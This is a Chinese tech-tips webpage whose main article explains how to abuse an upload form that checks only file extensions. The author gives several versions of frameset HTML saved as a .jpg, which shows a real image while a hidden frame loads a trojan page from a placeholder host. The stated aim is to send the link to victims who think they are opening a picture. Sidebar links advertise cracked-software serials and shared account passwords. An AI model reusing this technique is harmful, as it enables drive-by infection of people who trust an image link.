- 1PS提示：因为图层已锁定，无法编辑图层的处理方法
- 2picacg苹果版怎么找不到|picacg ios版是不是下架了介绍
- 3Adobe Illustrator CS5 序列号大全
- 4ACDsee注册码免费分享（含ACDsee18、ACDsee10等版本）
- 5Potato(土豆聊天)怎么换头像|Potato app更改头像方法介绍
- 6PDF浏览器能看3D文件吗？PDF浏览器看3D文件图文详细教程
- 7Potato(马铃薯聊天)怎么注册不了|Potato不能注册处理方法介绍
- 8最新的Adobe Illustrator CS4序列号大全
- 9Intel i7-9700K性能跑分曝光：同代提升约12%
- 10Intel Z390主板有望10月8日公布：8核9代酷睿随后登场
- 11XP系统怎么清除缓存？
- 12ACDSee与2345看图王哪一个好用？区别比较
[摘要]这个漏洞适用于所有只检查上传文件格式的程序， 把图片改成HTML代码， 上传后可执行 做转向， 发现的过程是我今天看了一下某门户网站的BBS上做了过滤， 上传失败， 然后回到主页上， 发现是动力系统...
这个漏洞适用于所有只检查上传文件格式的程序， 把图片改成HTML代码， 上传后可执行 做转向， 发现的过程是我今天看了一下某门户网站的BBS上做了过滤， 上传失败， 然后回到主页上， 发现是动力系统， 于是注册了一个帐号， 然后到个人管理里， 看到添加文章里面 能上传、文件， 于是开始想利用的过程。 我开始的构思是直接上传这样一个程序。
其实这样有很大一个漏洞， 别人打开这些JPG网页后， 图片显示不出来， 自然别人就会起疑心， 想到了前段时间的CHM网页木马的制作的方法， 变相的利用它应该能达到这样的效果吧？假如代码为：
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize
marginwidth="0" margingheight="0">
</frameset>
这样的一个index.htm， 上传后发现失败， 直接显示原代码。 于是在代码的开头结尾加了如下的代码：
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize
marginwidth="0" margingheight="0">
</frameset></html>
测试后页面已经成了一个木马页面， 但是这个木马一定要有个CHM的人才行， 网站不可能专门提供你上传这个类型的文件吧？！于是想到远程的调用， 后把Index.jpg改为代码：
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"
scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>
上传后发现 ， 防火墙成功提示病毒， 但是别人打开这个页面的时候直接是大红XX， 有脑子的人都会怀疑。 于是想到把这个页面打开后看成一个图片， 接着直接把上面的代码改成：
<html>
<frameset rows="444,0" cols="*">
<frame src="/UpLoadFiles/NewsPhoto/omasuiai.jpg" framborder="no"
scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"
scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>
这样打开这个页面的时候正常显示图片， 木马也能中了！前提是要把这个图片页面发给别人， 例如：www.***.com/UpLoadFiles/NewsPhoto/08aXXXXX.jpg， 对方打开后还以为是看到了一张图片， 其实他已经中木马了， 再怎么说这个也是上传的图片， 而且可以上传到自己的站里， 不会有人怀疑的！
上面是电脑上网安全的一些基础常识，学习了安全知识，几乎可以让你免费电脑中毒的烦扰。
推荐资讯 总人气榜
最新教程 本月人气
- 1Revit创建标高的3个方法
- 2Revit材质与Revit材质库的使用方法
- 3Revit用户应用心得5则
- 4Revit快捷键设置方法 Revit自定义快捷键的方法
- 5Revit族怎么使用？Revit族使用方法
- 6Revit2016安装与破解图文详细教程（含密钥与注册机）
- 7Revit渲染器渲染流程
- 8Revit可载入族详细介绍
- 9Revit系统族概念介绍
- 10Revit结构族概念介绍与分类
- 11什么是Revit族？Revit族概念介绍
- 12什么是Revit视图样板？Revit视图样板的详细介绍
- 1搜狐视频会员看美剧 5.30最新搜狐视频会员账号搜狐视频vip账号共享 搜狐视频账号
- 2芒果tv会员账号共享2017.5.27芒果tv最新共享vip会员账号更新
- 3黄油相机怎么删除水印？黄油相机删除水印的方法
- 4Word文档页码从第二页起出现的设置方法
- 5全民k歌怎么删除自己的作品|全民K歌删除自己歌曲方法介绍
- 6晃脸怎么删除作品|晃脸删除视频方法介绍
- 72017年05月31日迅雷账号共享
- 8迅雷会员pf11免费的 2017迅雷账号共享免费vip 每日共享帐号密码5.30
- 92017.5.30芒果tv最新vip会员帐号共享每天更新 2017芒果会员账号共享
- 10百度云vip会员账号共享2017 5月30日百度云会员账号共享更新
- 11搜狐vip账号与密码2017 搜狐会员账号密码共享5.30
- 122017年05月28日迅雷会员账号分享
